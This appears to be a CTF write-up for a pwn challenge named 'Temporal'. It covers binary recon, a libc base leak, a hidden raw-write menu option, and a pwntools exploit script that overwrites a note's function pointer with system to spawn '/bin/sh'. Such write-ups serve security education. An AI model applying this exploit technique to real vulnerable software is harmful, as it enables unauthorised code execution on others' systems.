← Writeups

2026-04-17 • ctf • easy • linux

CTF pwn - Temporal

RCE via libc leak and function pointer overwrite

pwnbuffer-overflowleak-libcRCE x86-64gdbpwntools

Introduction

Given files:

  • vuln
  • libc.so.6

Challenge description: I had a heck of a time making this one.

Recon

The first step is to collect information about the binary.

We are dealing with a 64-bit ELF on x86-64:

$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/kali/CTF/2026/bluehens/pwn/Temporal/glibc-2.38/ld-linux-x86-64.so.2, BuildID[sha1]=f53f4e4992a2d854344affc655e45c8b1865274d, for GNU/Linux 3.2.0, not stripped

Then we check binary protections with checksec:

$ checksec vuln
[*] '/home/kali/CTF/2026/bluehens/pwn/Temporal/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x3ff000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

There are essentially no meaningful protections, so exploitation is straightforward once the code path is identified.

I decompiled the binary with Binary Ninja and started mapping the menu actions.

The menu displayed at runtime:

Program menu

A note allocation stores a function pointer at offset 0x200, which is later used to print the note:

Note allocation and print function pointer

I also found a hidden menu option that performs a raw write of 0x210 bytes into the note buffer. This allows overwriting the print function pointer set by alloc_note.

Hidden raw write option Raw write into note buffer

Another function parse_proc_leak gives a direct leak of the libc base address:

Leaking the libc base address

At the end, dispatch_note calls the function pointer stored at offset 0x200:

dispatch_note calling the function pointer

With this global view, we can build a reliable exploitation chain.

Exploitation Chain

  1. Leak the libc base address.
  2. Create a note.
  3. Overwrite print_note with a payload starting with /bin/sh\x00 (for RDI) and ending with the system pointer.
  4. Trigger note printing to execute system("/bin/sh").
#!/usr/bin/python3
from pwn import *

#.......SKIP.......#

menu = lambda choice: target.sendlineafter(b">", str(choice).encode())
id = lambda choice: target.sendlineafter(b"id", str(choice).encode())
content = lambda content: target.sendlineafter(b"content:", content.encode())

def leak():
    target.recvuntil(b"libc base: ")
    libc.address = int(target.recvline().strip(), 16)

def attack():
    try:
        # leak
        menu(5)
        id(0)
        leak()

        # create
        menu(1)
        id(0)
        content("A" * 0x20)

        # overwrite
        menu(8)
        id(0)
        payload = b"/bin/sh\x00".ljust(0x200, b"B")
        payload += p64(libc.sym.system)
        target.sendline(payload)

        # print
        menu(3)
        id(0)

        return
    except Exception as e:
        log.exception(f"Error: {e}")

#.......SKIP.......#